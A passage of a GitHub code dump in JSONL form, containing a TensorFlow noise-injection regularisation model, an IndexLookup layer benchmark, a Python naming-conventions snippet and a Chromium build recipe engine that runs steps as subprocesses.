noisy_a - a\n print(noisy_a, a)\n\n # --- Display in tensorboard -- Injected noise stats\n tf.compat.v1.summary.histogram(layer_name + '/injected_noise',\n inj_noise)\n\n n_neurons = int_shape(a)[1]\n\n tf.compat.v1.summary.histogram(layer_name + '/w', w)\n corr = tfp.stats.correlation(a)\n tf.compat.v1.summary.scalar(layer_name + '/corr', tf.reduce_mean(corr))\n\n sparsity = tf.reduce_sum(tf.cast(a <= 1e-6, tf.float32))\n\n # tf.compat.v1.summary.scalar(layer_name + '/lifetime_sparsity',\n # sparsity / B)\n tf.compat.v1.summary.scalar(layer_name + '/population_sparsity',\n sparsity / (B * n_neurons))\n\n # --- Retrieve the noise of the gradient of each layer\n # --- = noisy gradients - gradients, this corresponds to\n # --- n_t * gradients where n_t is our noise matrix\n # --- W gradients\n\n og_W_n = tf.gradients([tf.reduce_mean(noisy_loss)], [w])[0]\n\n g_W_n = tf.gradients([tf.reduce_mean(noisy_loss_estimate)], [w])[0]\n g = tf.gradients(tf.reduce_mean(loss), w)[0]\n\n err = -g_W_n + og_W_n\n g_noise = g_W_n - g\n\n tf.compat.v1.summary.scalar(layer_name + '/mean_grad_noise',\n tf.reduce_mean(g_noise))\n tf.compat.v1.summary.histogram(layer_name + '/grad_noise', g_noise)\n\n tf.compat.v1.summary.scalar(layer_name + '/weights_l2/',\n tf.reduce_mean(tf.norm(w)))\n\n tf.compat.v1.summary.scalar(layer_name + '/grad_est_mse',\n tf.reduce_mean((og_W_n - g_W_n)**2))\n tf.compat.v1.summary.scalar(layer_name + '/grad_est_pe',\n tf.reduce_mean((-og_W_n + g_W_n) / og_W_n))\n\n gradients.extend([g_W_n])\n variables.extend([w])\n\n if i > 0 and params['calc_hessian']:\n # --- Number of parameters does not include batch_size\n\n hessians = trace_hessian([noisy_loss], weights)\n h_trace = tf.reduce_sum(tf.concat(hessians, axis=1)) / (B * n_samples)\n\n for i, h in enumerate(hessians):\n layer_name = \"layer_\" + str(i)\n tf.compat.v1.summary.scalar(layer_name + '/H_trace',\n tf.reduce_sum(h) / (B * n_samples))\n\n tf.compat.v1.summary.scalar('network/H_trace', h_trace)\n\n # --- Sum all them losses\n\n loss = tf.reduce_mean(loss)\n noisy_loss = tf.reduce_mean(noisy_loss)\n\n train_step = optimizer.apply_gradients(zip(gradients, variables),\n global_step=global_step)\n\n if mode == tf.estimator.ModeKeys.PREDICT:\n eval_metrics = {}\n predictions = {\n 'preds': tf.nn.softmax(p_phi_y['activations'][-1], axis=1)\n }\n predictions['GCH'] = G + C + H - EC\n\n for i, J in enumerate(Js):\n predictions['J' + str(i)] = J\n\n # for i, w in enumerate(weights):\n # predictions['dGCH' + str(i)] = tf.gradients(\n # [predictions['GCH']], [w])[0]\n if params['calc_hessian']:\n # --- Number of parameters does not include batch_size\n\n hessians = trace_hessian([noisy_loss], weights[1:3])\n h_trace = tf.reduce_sum(tf.concat(hessians,\n axis=1)) / (B * n_samples)\n\n predictions['h_trace'] = h_trace\n\n else:\n predictions = {}\n eval_metrics = {\n \"loss/og\": tf.compat.v1.metrics.mean(loss),\n }\n if params[\"loss\"] == 'cross_entropy':\n eval_metrics[\"accuracy\"] = tf.compat.v1.metrics.mean(acc)\n\n return tf.estimator.EstimatorSpec(mode=mode,\n loss=loss,\n predictions=predictions,\n train_op=train_step,\n eval_metric_ops=eval_metrics)\n","repo_name":"alexander-camuto/exp_reg_GNIs","sub_path":"src_tf2/GNIs.py","file_name":"GNIs.py","file_ext":"py","file_size_in_byte":12999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15424796982","text":"import os\nimport random\nimport string\nimport time\n\nimport numpy as np\n\nfrom tensorflow.python import keras\nfrom tensorflow.python.compat import v2_compat\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.keras.layers.preprocessing import index_lookup\nfrom tensorflow.python.ops import lookup_ops\nfrom tensorflow.python.platform import benchmark\nfrom tensorflow.python.platform import gfile\nfrom tensorflow.python.platform import test\n\nv2_compat.enable_v2_behavior()\n\n\n# word_gen creates random sequences of ASCII letters (both lowercase and upper).\n# The number of unique strings is ~2,700.\ndef tensor_gen(batch, num_elements):\n data = []\n for _ in range(batch):\n batch_element = []\n for _ in range(num_elements - 1):\n tok = \"\".join(random.choice(string.ascii_letters) for i in range(2))\n batch_element.append(tok)\n batch_element.append(\"\") # Explicitly test the empty string.\n data.append(batch_element)\n return constant_op.constant(data)\n\n\ndef get_vocab():\n vocab = list(\n set([a + b for a in string.ascii_letters for b in string.ascii_letters])) # pylint:disable=g-complex-comprehension\n vocab.sort()\n return vocab\n\n\n# This class uses TestCase for get_temp_dir().\nclass BenchmarkLookup(benchmark.TensorFlowBenchmark):\n \"\"\"Benchmark the index lookup layer's forward pass.\"\"\"\n\n def _write_to_temp_file(self, file_name, vocab_list):\n vocab_path = os.path.join(self.get_temp_dir(), file_name + \".txt\")\n with gfile.GFile(vocab_path, \"w\") as writer:\n for vocab in vocab_list:\n writer.write(vocab + \"\\n\")\n writer.flush()\n writer.close()\n return vocab_path\n\n def run_numpy_implementation(self, data, vocab):\n \"\"\"Test the python implementation.\"\"\"\n input_t = keras.Input(shape=(), dtype=dtypes.string)\n layer = index_lookup.IndexLookup(\n vocabulary=vocab,\n max_tokens=None,\n num_oov_indices=1,\n mask_token=\"\",\n oov_token=\"OOV\",\n dtype=dtypes.string)\n out_t = layer(input_t)\n model = keras.Model(input_t, out_t)\n num_repeats = 5\n starts = []\n ends = []\n _ = model(data)\n for _ in range(num_repeats):\n starts.append(time.time())\n out = model(data)\n ends.append(time.time())\n avg_time = np.mean(np.array(ends) - np.array(starts))\n return avg_time, out\n\n def bm_adapt_implementation(self, num_elements, batch_size):\n \"\"\"Test the KPL adapt implementation.\"\"\"\n vocab = get_vocab()\n vocab_file = self._write_to_temp_file(\"vocab\", vocab)\n vocabulary_initializer = lookup_ops.TextFileInitializer(\n filename=vocab_file,\n key_dtype=dtypes.string,\n key_index=lookup_ops.TextFileIndex.WHOLE_LINE,\n value_dtype=dtypes.int64,\n value_index=lookup_ops.TextFileIndex.LINE_NUMBER,\n value_index_offset=2)\n input_t = keras.Input(shape=(), dtype=dtypes.string)\n layer = index_lookup.IndexLookup(\n vocabulary=vocabulary_initializer,\n max_tokens=None,\n num_oov_indices=1,\n mask_token=\"\",\n oov_token=\"OOV\",\n dtype=dtypes.string)\n out_t = layer(input_t)\n model = keras.Model(input_t, out_t)\n num_repeats = 5\n starts = []\n ends = []\n data = tensor_gen(batch_size, num_elements)\n _ = model(data)\n for _ in range(num_repeats):\n starts.append(time.time())\n _ = model(data)\n ends.append(time.time())\n avg_time = np.mean(np.array(ends) - np.array(starts))\n baseline, _ = self.run_numpy_implementation(data, vocab)\n extras = {\n \"numpy implementation baseline\": baseline,\n \"delta seconds\": (baseline - avg_time),\n \"delta percent\": ((baseline - avg_time) / baseline) * 100\n }\n name = \"index_lookup_forward|%s_elements|batch_%s\" % (num_elements,\n batch_size)\n self.report_benchmark(\n iters=num_repeats, wall_time=avg_time, extras=extras, name=name)\n\n def benchmark_vocab_size_by_batch(self):\n for tensor_size in [100, 1000, 10000]:\n for batch in [1, 16, 2048]:\n self.bm_adapt_implementation(tensor_size, batch)\n\n\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"graphcore/tensorflow","sub_path":"tensorflow/python/keras/layers/preprocessing/benchmarks/index_lookup_forward_benchmark.py","file_name":"index_lookup_forward_benchmark.py","file_ext":"py","file_size_in_byte":4207,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"3"} +{"seq_id":"29612572355","text":"_my_var = 5 # convention used for internal use or private objects\r\n\r\n__my_var = 10 # used to mangle class attributes - usedful in inheritance chans\r\n\r\n__my_var__ # used for system defined names that have a special meaning to the interpreter\r\n\r\n# modules\r\ndb_util\r\n\r\n# Classes (upper camel case)\r\nBankAccount\r\n\r\n# Functions (snake_case)\r\nopen_account\r\n\r\n# variables (lowercase, words separated by underscores)\r\naccount_id\r\n\r\n# Constants (all uppercase, words separated by underscores)\r\nMIN_APR\r\n\r\n\r\n","repo_name":"ejrach/course-python-deep-dive","sub_path":"sec2_lec7_variable_naming.py","file_name":"sec2_lec7_variable_naming.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35100352750","text":"import collections\nimport contextlib\nimport copy\nimport functools\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport traceback\n\nimport cStringIO\n\n\nfrom . import loader\nfrom . import recipe_api\nfrom . import recipe_test_api\nfrom . import util\n\n\nSCRIPT_PATH = os.path.dirname(os.path.abspath(__file__))\n\nBUILDBOT_MAGIC_ENV = set([\n 'BUILDBOT_BLAMELIST',\n 'BUILDBOT_BRANCH',\n 'BUILDBOT_BUILDBOTURL',\n 'BUILDBOT_BUILDERNAME',\n 'BUILDBOT_BUILDNUMBER',\n 'BUILDBOT_CLOBBER',\n 'BUILDBOT_GOT_REVISION',\n 'BUILDBOT_MASTERNAME',\n 'BUILDBOT_REVISION',\n 'BUILDBOT_SCHEDULER',\n 'BUILDBOT_SLAVENAME',\n])\n\nENV_WHITELIST_WIN = BUILDBOT_MAGIC_ENV | set([\n 'APPDATA',\n 'AWS_CREDENTIAL_FILE',\n 'BOTO_CONFIG',\n 'BUILDBOT_ARCHIVE_FORCE_SSH',\n 'CHROME_HEADLESS',\n 'CHROMIUM_BUILD',\n 'COMMONPROGRAMFILES',\n 'COMMONPROGRAMFILES(X86)',\n 'COMMONPROGRAMW6432',\n 'COMSPEC',\n 'COMPUTERNAME',\n 'DBUS_SESSION_BUS_ADDRESS',\n 'DEPOT_TOOLS_GIT_BLEEDING',\n # TODO(maruel): Remove once everyone is on 2.7.5.\n 'DEPOT_TOOLS_PYTHON_275',\n 'DXSDK_DIR',\n 'GIT_USER_AGENT',\n 'HOME',\n 'HOMEDRIVE',\n 'HOMEPATH',\n 'LOCALAPPDATA',\n 'NUMBER_OF_PROCESSORS',\n 'OS',\n 'PATH',\n 'PATHEXT',\n 'PROCESSOR_ARCHITECTURE',\n 'PROCESSOR_ARCHITEW6432',\n 'PROCESSOR_IDENTIFIER',\n 'PROGRAMFILES',\n 'PROGRAMW6432',\n 'PWD',\n 'PYTHONPATH',\n 'SYSTEMDRIVE',\n 'SYSTEMROOT',\n 'TEMP',\n 'TESTING_MASTER',\n 'TESTING_MASTER_HOST',\n 'TESTING_SLAVENAME',\n 'TMP',\n 'USERNAME',\n 'USERDOMAIN',\n 'USERPROFILE',\n 'VS100COMNTOOLS',\n 'VS110COMNTOOLS',\n 'WINDIR',\n])\n\nENV_WHITELIST_POSIX = BUILDBOT_MAGIC_ENV | set([\n 'AWS_CREDENTIAL_FILE',\n 'BOTO_CONFIG',\n 'CCACHE_DIR',\n 'CHROME_ALLOCATOR',\n 'CHROME_HEADLESS',\n 'CHROME_VALGRIND_NUMCPUS',\n 'DISPLAY',\n 'DISTCC_DIR',\n 'GIT_USER_AGENT',\n 'HOME',\n 'HOSTNAME',\n 'HTTP_PROXY',\n 'http_proxy',\n 'HTTPS_PROXY',\n 'LANG',\n 'LOGNAME',\n 'PAGER',\n 'PATH',\n 'PWD',\n 'PYTHONPATH',\n 'SHELL',\n 'SSH_AGENT_PID',\n 'SSH_AUTH_SOCK',\n 'SSH_CLIENT',\n 'SSH_CONNECTION',\n 'SSH_TTY',\n 'TESTING_MASTER',\n 'TESTING_MASTER_HOST',\n 'TESTING_SLAVENAME',\n 'USER',\n 'USERNAME',\n])\n\n\ndef _isolate_environment():\n \"\"\"Isolate the environment to a known subset set.\"\"\"\n if sys.platform.startswith('win'):\n whitelist = ENV_WHITELIST_WIN\n elif sys.platform in ('darwin', 'posix', 'linux2'):\n whitelist = ENV_WHITELIST_POSIX\n else:\n print ('WARNING: unknown platform %s, not isolating environment.' %\n sys.platform)\n return\n\n for k in os.environ.keys():\n if k not in whitelist:\n del os.environ[k]\n\n\nclass StepPresentation(object):\n STATUSES = set(('SUCCESS', 'FAILURE', 'WARNING', 'EXCEPTION'))\n\n def __init__(self):\n self._finalized = False\n\n self._logs = collections.OrderedDict()\n self._links = collections.OrderedDict()\n self._perf_logs = collections.OrderedDict()\n self._status = None\n self._step_summary_text = ''\n self._step_text = ''\n self._properties = {}\n\n # (E0202) pylint bug: http://www.logilab.org/ticket/89092\n @property\n def status(self): # pylint: disable=E0202\n return self._status\n\n @status.setter\n def status(self, val): # pylint: disable=E0202\n assert not self._finalized\n assert val in self.STATUSES\n self._status = val\n\n @property\n def step_text(self):\n return self._step_text\n\n @step_text.setter\n def step_text(self, val):\n assert not self._finalized\n self._step_text = val\n\n @property\n def step_summary_text(self):\n return self._step_summary_text\n\n @step_summary_text.setter\n def step_summary_text(self, val):\n assert not self._finalized\n self._step_summary_text = val\n\n @property\n def logs(self):\n if not self._finalized:\n return self._logs\n else:\n return copy.deepcopy(self._logs)\n\n @property\n def links(self):\n if not self._finalized:\n return self._links\n else:\n return copy.deepcopy(self._links)\n\n @property\n def perf_logs(self):\n if not self._finalized:\n return self._perf_logs\n else:\n return copy.deepcopy(self._perf_logs)\n\n @property\n def properties(self): # pylint: disable=E0202\n if not self._finalized:\n return self._properties\n else:\n return copy.deepcopy(self._properties)\n\n @properties.setter\n def properties(self, val): # pylint: disable=E0202\n assert not self._finalized\n assert isinstance(val, dict)\n self._properties = val\n\n def finalize(self, annotator_step):\n self._finalized = True\n if self.step_text:\n annotator_step.step_text(self.step_text)\n if self.step_summary_text:\n annotator_step.step_summary_text(self.step_summary_text)\n for name, lines in self.logs.iteritems():\n annotator_step.write_log_lines(name, lines)\n for name, lines in self.perf_logs.iteritems():\n annotator_step.write_log_lines(name, lines, perf=True)\n for label, url in self.links.iteritems():\n annotator_step.step_link(label, url)\n status_mapping = {\n 'WARNING': annotator_step.step_warnings,\n 'FAILURE': annotator_step.step_failure,\n 'EXCEPTION': annotator_step.step_exception,\n }\n status_mapping.get(self.status, lambda: None)()\n for key, value in self._properties.iteritems():\n annotator_step.set_build_property(key, json.dumps(value, sort_keys=True))\n\n\nclass StepDataAttributeError(AttributeError):\n \"\"\"Raised when a non-existent attributed is accessed on a StepData object.\"\"\"\n def __init__(self, step, attr):\n self.step = step\n self.attr = attr\n message = ('The recipe attempted to access missing step data \"%s\" for step '\n '\"%s\". Please examine that step for errors.' % (attr, step))\n super(StepDataAttributeError, self).__init__(message)\n\n\nclass StepData(object):\n def __init__(self, step, retcode):\n self._retcode = retcode\n self._step = step\n\n self._presentation = StepPresentation()\n self.abort_reason = None\n\n @property\n def step(self):\n return copy.deepcopy(self._step)\n\n @property\n def retcode(self):\n return self._retcode\n\n @property\n def presentation(self):\n return self._presentation\n\n def __getattr__(self, name):\n raise StepDataAttributeError(self._step['name'], name)\n\n\n# TODO(martiniss) update comment\n# Result of 'render_step', fed into 'step_callback'.\nPlaceholders = collections.namedtuple(\n 'Placeholders', ['cmd', 'stdout', 'stderr', 'stdin'])\n\n\ndef render_step(step, step_test):\n \"\"\"Renders a step so that it can be fed to annotator.py.\n\n Args:\n step_test: The test data json dictionary for this step, if any.\n Passed through unaltered to each placeholder.\n\n Returns any placeholder instances that were found while rendering the step.\n \"\"\"\n # Process 'cmd', rendering placeholders there.\n placeholders = collections.defaultdict(lambda: collections.defaultdict(list))\n new_cmd = []\n for item in step.get('cmd', []):\n if isinstance(item, util.Placeholder):\n module_name, placeholder_name = item.name_pieces\n tdata = step_test.pop_placeholder(item.name_pieces)\n new_cmd.extend(item.render(tdata))\n placeholders[module_name][placeholder_name].append((item, tdata))\n else:\n new_cmd.append(item)\n step['cmd'] = new_cmd\n\n # Process 'stdout', 'stderr' and 'stdin' placeholders, if given.\n stdio_placeholders = {}\n for key in ('stdout', 'stderr', 'stdin'):\n placeholder = step.get(key)\n tdata = None\n if placeholder:\n assert isinstance(placeholder, util.Placeholder), key\n tdata = getattr(step_test, key)\n placeholder.render(tdata)\n assert placeholder.backing_file\n step[key] = placeholder.backing_file\n stdio_placeholders[key] = (placeholder, tdata)\n\n return Placeholders(cmd=placeholders, **stdio_placeholders)\n\n\ndef get_placeholder_results(step_result, placeholders):\n class BlankObject(object):\n pass\n\n # Placeholders inside step |cmd|.\n for module_name, pholders in placeholders.cmd.iteritems():\n assert not hasattr(step_result, module_name)\n o = BlankObject()\n setattr(step_result, module_name, o)\n\n for placeholder_name, items in pholders.iteritems():\n lst = [ph.result(step_result.presentation, td) for ph, td in items]\n setattr(o, placeholder_name+\"_all\", lst)\n setattr(o, placeholder_name, lst[0])\n\n # Placeholders that are used with IO redirection.\n for key in ('stdout', 'stderr', 'stdin'):\n assert not hasattr(step_result, key)\n ph, td = getattr(placeholders, key)\n result = ph.result(step_result.presentation, td) if ph else None\n setattr(step_result, key, result)\n\n\ndef get_callable_name(func):\n \"\"\"Returns __name__ of a callable, handling functools.partial types.\"\"\"\n if isinstance(func, functools.partial):\n return get_callable_name(func.func)\n else:\n return func.__name__\n\n\n# Return value of run_steps and RecipeEngine.run.\nRecipeExecutionResult = collections.namedtuple(\n 'RecipeExecutionResult', 'status_code steps_ran')\n\n\ndef run_steps(properties,\n stream,\n universe,\n test_data=recipe_test_api.DisabledTestData()):\n \"\"\"Returns a tuple of (status_code, steps_ran).\n\n Only one of these values will be set at a time. This is mainly to support the\n testing interface used by unittests/recipes_test.py.\n \"\"\"\n stream.honor_zero_return_code()\n\n # TODO(iannucci): Stop this when blamelist becomes sane data.\n if ('blamelist_real' in properties and\n 'blamelist' in properties):\n properties['blamelist'] = properties['blamelist_real']\n del properties['blamelist_real']\n\n # NOTE(iannucci): 'root' was a terribly bad idea and has been replaced by\n # 'patch_project'. 'root' had Rietveld knowing about the implementation of\n # the builders. 'patch_project' lets the builder (recipe) decide its own\n # destiny.\n properties.pop('root', None)\n\n # TODO(iannucci): A much better way to do this would be to dynamically\n # detect if the mirrors are actually available during the execution of the\n # recipe.\n if ('use_mirror' not in properties and (\n 'TESTING_MASTERNAME' in os.environ or\n 'TESTING_SLAVENAME' in os.environ)):\n properties['use_mirror'] = False\n\n engine = RecipeEngine(stream, properties, test_data)\n\n # Create all API modules and top level RunSteps function. It doesn't launch\n # any recipe code yet; RunSteps needs to be called.\n api = None\n with stream.step('setup_build') as s:\n assert 'recipe' in properties\n recipe = properties['recipe']\n\n properties_to_print = properties.copy()\n if 'use_mirror' in properties:\n del properties_to_print['use_mirror']\n\n run_recipe_help_lines = [\n 'To repro this locally, run the following line from a build checkout:',\n '',\n './scripts/tools/run_recipe.py %s --properties-file - <running recipe: \"%s\"' % recipe)\n except loader.NoSuchRecipe as e:\n s.step_text('
recipe not found: %s' % e)\n s.step_failure()\n return RecipeExecutionResult(2, None)\n\n # Run the steps emitted by a recipe via the engine, emitting annotations\n # into |stream| along the way.\n return engine.run(recipe_module.RunSteps, api, prop_defs)\n\n\ndef _merge_envs(original, override):\n \"\"\"Merges two environments.\n\n Returns a new environment dict with entries from |override| overwriting\n corresponding entries in |original|. Keys whose value is None will completely\n remove the environment variable. Values can contain %(KEY)s strings, which\n will be substituted with the values from the original (useful for amending, as\n opposed to overwriting, variables like PATH).\n \"\"\"\n result = original.copy()\n if not override:\n return result\n for k, v in override.items():\n if v is None:\n if k in result:\n del result[k]\n else:\n result[str(k)] = str(v) % original\n return result\n\n\ndef _print_step(step, env, stream):\n \"\"\"Prints the step command and relevant metadata.\n\n Intended to be similar to the information that Buildbot prints at the\n beginning of each non-annotator step.\n \"\"\"\n step_info_lines = []\n step_info_lines.append(' '.join(step['cmd']))\n step_info_lines.append('in dir %s:' % (step['cwd'] or os.getcwd()))\n for key, value in sorted(step.items()):\n if value is not None:\n if callable(value):\n # This prevents functions from showing up as:\n # ''\n # which is tricky to test.\n value = value.__name__+'(...)'\n step_info_lines.append(' %s: %s' % (key, value))\n step_info_lines.append('full environment:')\n for key, value in sorted(env.items()):\n step_info_lines.append(' %s: %s' % (key, value))\n step_info_lines.append('')\n stream.emit('\\n'.join(step_info_lines))\n\n\n@contextlib.contextmanager\ndef _modify_lookup_path(path):\n \"\"\"Places the specified path into os.environ.\n\n Necessary because subprocess.Popen uses os.environ to perform lookup on the\n supplied command, and only uses the |env| kwarg for modifying the environment\n of the child process.\n \"\"\"\n saved_path = os.environ['PATH']\n try:\n if path is not None:\n os.environ['PATH'] = path\n yield\n finally:\n os.environ['PATH'] = saved_path\n\n\ndef _normalize_change(change):\n assert isinstance(change, dict), 'Change is not a dict'\n change = change.copy()\n\n # Convert when_timestamp to UNIX timestamp.\n when = change.get('when_timestamp')\n if isinstance(when, datetime.datetime):\n when = calendar.timegm(when.utctimetuple())\n change['when_timestamp'] = when\n\n return change\n\n\ndef _trigger_builds(step, trigger_specs):\n assert trigger_specs is not None\n for trig in trigger_specs:\n builder_name = trig.get('builder_name')\n if not builder_name:\n raise ValueError('Trigger spec: builder_name is not set')\n\n changes = trig.get('buildbot_changes', [])\n assert isinstance(changes, list), 'buildbot_changes must be a list'\n changes = map(_normalize_change, changes)\n\n step.step_trigger(json.dumps({\n 'builderNames': [builder_name],\n 'bucket': trig.get('bucket'),\n 'changes': changes,\n 'properties': trig.get('properties'),\n }, sort_keys=True))\n\n\ndef _run_annotated_step(\n stream, name, cmd, cwd=None, env=None, allow_subannotations=False,\n trigger_specs=None, nest_level=0, **kwargs):\n \"\"\"Runs a single step.\n\n Context:\n stream: StructuredAnnotationStream to use to emit step\n\n Step parameters:\n name: name of the step, will appear in buildbots waterfall\n cmd: command to run, list of one or more strings\n cwd: absolute path to working directory for the command\n env: dict with overrides for environment variables\n allow_subannotations: if True, lets the step emit its own annotations\n trigger_specs: a list of trigger specifications, which are dict with keys:\n properties: a dict of properties.\n Buildbot requires buildername property.\n\n Known kwargs:\n stdout: Path to a file to put step stdout into. If used, stdout won't appear\n in annotator's stdout (and |allow_subannotations| is ignored).\n stderr: Path to a file to put step stderr into. If used, stderr won't appear\n in annotator's stderr.\n stdin: Path to a file to read step stdin from.\n\n Returns the returncode of the step.\n \"\"\"\n if isinstance(cmd, basestring):\n cmd = (cmd,)\n cmd = map(str, cmd)\n\n # For error reporting.\n step_dict = kwargs.copy()\n step_dict.update({\n 'name': name,\n 'cmd': cmd,\n 'cwd': cwd,\n 'env': env,\n 'allow_subannotations': allow_subannotations,\n })\n step_env = _merge_envs(os.environ, env)\n\n step_annotation = stream.step(name)\n step_annotation.step_started()\n\n if nest_level:\n step_annotation.step_nest_level(nest_level)\n\n _print_step(step_dict, step_env, stream)\n returncode = 0\n if cmd:\n try:\n # Open file handles for IO redirection based on file names in step_dict.\n fhandles = {\n 'stdout': subprocess.PIPE,\n 'stderr': subprocess.PIPE,\n 'stdin': None,\n }\n for key in fhandles:\n if key in step_dict:\n fhandles[key] = open(step_dict[key],\n 'rb' if key == 'stdin' else 'wb')\n\n if sys.platform.startswith('win'):\n # Windows has a bad habit of opening a dialog when a console program\n # crashes, rather than just letting it crash. Therefore, when a program\n # crashes on Windows, we don't find out until the build step times out.\n # This code prevents the dialog from appearing, so that we find out\n # immediately and don't waste time waiting for a user to close the\n # dialog.\n import ctypes\n # SetErrorMode(SEM_NOGPFAULTERRORBOX). For more information, see:\n # https://msdn.microsoft.com/en-us/library/windows/desktop/ms680621.aspx\n ctypes.windll.kernel32.SetErrorMode(0x0002)\n # CREATE_NO_WINDOW. For more information, see:\n # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863.aspx\n creationflags = 0x8000000\n else:\n creationflags = 0\n\n with _modify_lookup_path(step_env.get('PATH')):\n proc = subprocess.Popen(\n cmd,\n env=step_env,\n cwd=cwd,\n universal_newlines=True,\n creationflags=creationflags,\n **fhandles)\n\n # Safe to close file handles now that subprocess has inherited them.\n for handle in fhandles.itervalues():\n if isinstance(handle, file):\n handle.close()\n\n outlock = threading.Lock()\n def filter_lines(lock, allow_subannotations, inhandle, outhandle):\n while True:\n line = inhandle.readline()\n if not line:\n break\n lock.acquire()\n try:\n if not allow_subannotations and line.startswith('@@@'):\n outhandle.write('!')\n outhandle.write(line)\n outhandle.flush()\n finally:\n lock.release()\n\n # Pump piped stdio through filter_lines. IO going to files on disk is\n # not filtered.\n threads = []\n for key in ('stdout', 'stderr'):\n if fhandles[key] == subprocess.PIPE:\n inhandle = getattr(proc, key)\n outhandle = getattr(sys, key)\n threads.append(threading.Thread(\n target=filter_lines,\n args=(outlock, allow_subannotations, inhandle, outhandle)))\n\n for th in threads:\n th.start()\n proc.wait()\n for th in threads:\n th.join()\n returncode = proc.returncode\n except OSError:\n # File wasn't found, error will be reported to stream when the exception\n # crosses the context manager.\n step_annotation.step_exception_occured(*sys.exc_info())\n raise\n\n # TODO(martiniss) move logic into own module?\n if trigger_specs:\n _trigger_builds(step_annotation, trigger_specs)\n\n return step_annotation, returncode\n\nclass RecipeEngine(object):\n \"\"\"\n Knows how to execute steps emitted by a recipe, holds global state such as\n step history and build properties. Each recipe module API has a reference to\n this object.\n\n Recipe modules that are aware of the engine:\n * properties - uses engine.properties.\n * step_history - uses engine.step_history.\n * step - uses engine.create_step(...).\n\n \"\"\"\n def __init__(self, stream, properties, test_data):\n self._stream = stream\n self._properties = properties\n self._test_data = test_data\n self._step_history = collections.OrderedDict()\n\n self._previous_step_annotation = None\n self._previous_step_result = None\n self._api = None\n\n @property\n def properties(self):\n return self._properties\n\n @property\n def previous_step_result(self):\n \"\"\"Allows api.step to get the active result from any context.\"\"\"\n return self._previous_step_result\n\n def _emit_results(self):\n \"\"\"Internal helper used to emit results.\"\"\"\n annotation = self._previous_step_annotation\n step_result = self._previous_step_result\n\n self._previous_step_annotation = None\n self._previous_step_result = None\n\n if not annotation or not step_result:\n return\n\n step_result.presentation.finalize(annotation)\n if self._test_data.enabled:\n val = annotation.stream.getvalue()\n lines = filter(None, val.splitlines())\n if lines:\n # note that '~' sorts after 'z' so that this will be last on each\n # step. also use _step to get access to the mutable step\n # dictionary.\n # pylint: disable=w0212\n step_result._step['~followup_annotations'] = lines\n annotation.step_ended()\n\n def run_step(self, step):\n \"\"\"\n Runs a step.\n\n Args:\n step: The step to run.\n\n Returns:\n A StepData object containing the result of running the step.\n \"\"\"\n ok_ret = step.pop('ok_ret')\n infra_step = step.pop('infra_step')\n nest_level = step.pop('step_nest_level')\n\n test_data_fn = step.pop('step_test_data', recipe_test_api.StepTestData)\n step_test = self._test_data.pop_step_test_data(step['name'],\n test_data_fn)\n placeholders = render_step(step, step_test)\n\n self._step_history[step['name']] = step\n self._emit_results()\n\n step_result = None\n\n if not self._test_data.enabled:\n self._previous_step_annotation, retcode = _run_annotated_step(\n self._stream, nest_level=nest_level, **step)\n\n step_result = StepData(step, retcode)\n self._stream.step_cursor(step['name'])\n else:\n self._previous_step_annotation = annotation = self._stream.step(\n step['name'])\n annotation.step_started()\n try:\n annotation.stream = cStringIO.StringIO()\n if nest_level:\n annotation.step_nest_level(nest_level)\n\n step_result = StepData(step, step_test.retcode)\n except OSError:\n exc_type, exc_value, exc_tb = sys.exc_info()\n trace = traceback.format_exception(exc_type, exc_value, exc_tb)\n trace_lines = ''.join(trace).split('\\n')\n annotation.write_log_lines('exception', filter(None, trace_lines))\n annotation.step_exception()\n\n get_placeholder_results(step_result, placeholders)\n self._previous_step_result = step_result\n\n if step_result.retcode in ok_ret:\n step_result.presentation.status = 'SUCCESS'\n return step_result\n else:\n if not infra_step:\n state = 'FAILURE'\n exc = recipe_api.StepFailure\n else:\n state = 'EXCEPTION'\n exc = recipe_api.InfraFailure\n\n step_result.presentation.status = state\n if step_test.enabled:\n # To avoid cluttering the expectations, don't emit this in testmode.\n self._previous_step_annotation.emit(\n 'step returned non-zero exit code: %d' % step_result.retcode)\n\n raise exc(step['name'], step_result)\n\n\n def run(self, steps_function, api, prop_defs):\n \"\"\"Run a recipe represented by top level RunSteps function.\n\n This function blocks until recipe finishes.\n\n Args:\n steps_function: function that runs the steps.\n api: The api, with loaded module dependencies.\n Used by the some special modules.\n prop_defs: Property definitions for this recipe.\n\n Returns:\n RecipeExecutionResult with status code and list of steps ran.\n \"\"\"\n self._api = api\n retcode = None\n final_result = None\n\n try:\n try:\n retcode = loader.invoke_with_properties(\n steps_function, api._engine.properties, prop_defs, api=api)\n assert retcode is None, (\n \"Non-None return from RunSteps is not supported yet\")\n\n assert not self._test_data.enabled or not self._test_data.step_data, (\n \"Unconsumed test data! %s\" % (self._test_data.step_data,))\n finally:\n self._emit_results()\n except recipe_api.StepFailure as f:\n retcode = f.retcode or 1\n final_result = {\n \"name\": \"$final_result\",\n \"reason\": f.reason,\n \"status_code\": retcode\n }\n except StepDataAttributeError as ex:\n unexpected_exception = self._test_data.is_unexpected_exception(ex)\n\n retcode = -1\n final_result = {\n \"name\": \"$final_result\",\n \"reason\": \"Invalid Step Data Access: %r\" % ex,\n \"status_code\": retcode\n }\n\n with self._stream.step('Invalid Step Data Access') as s:\n s.step_exception()\n s.write_log_lines('exception', traceback.format_exc().splitlines())\n\n if unexpected_exception:\n raise\n\n except Exception as ex:\n unexpected_exception = self._test_data.is_unexpected_exception(ex)\n\n retcode = -1\n final_result = {\n \"name\": \"$final_result\",\n \"reason\": \"Uncaught Exception: %r\" % ex,\n \"status_code\": retcode\n }\n\n with self._stream.step('Uncaught Exception') as s:\n s.step_exception()\n s.write_log_lines('exception', traceback.format_exc().splitlines())\n\n if unexpected_exception:\n raise\n\n if final_result is not None:\n self._step_history[final_result['name']] = final_result\n\n return RecipeExecutionResult(retcode, self._step_history)\n\n def create_step(self, step): # pylint: disable=R0201\n \"\"\"Called by step module to instantiate a new step.\n\n Args:\n step: ConfigGroup object with information about the step, see\n 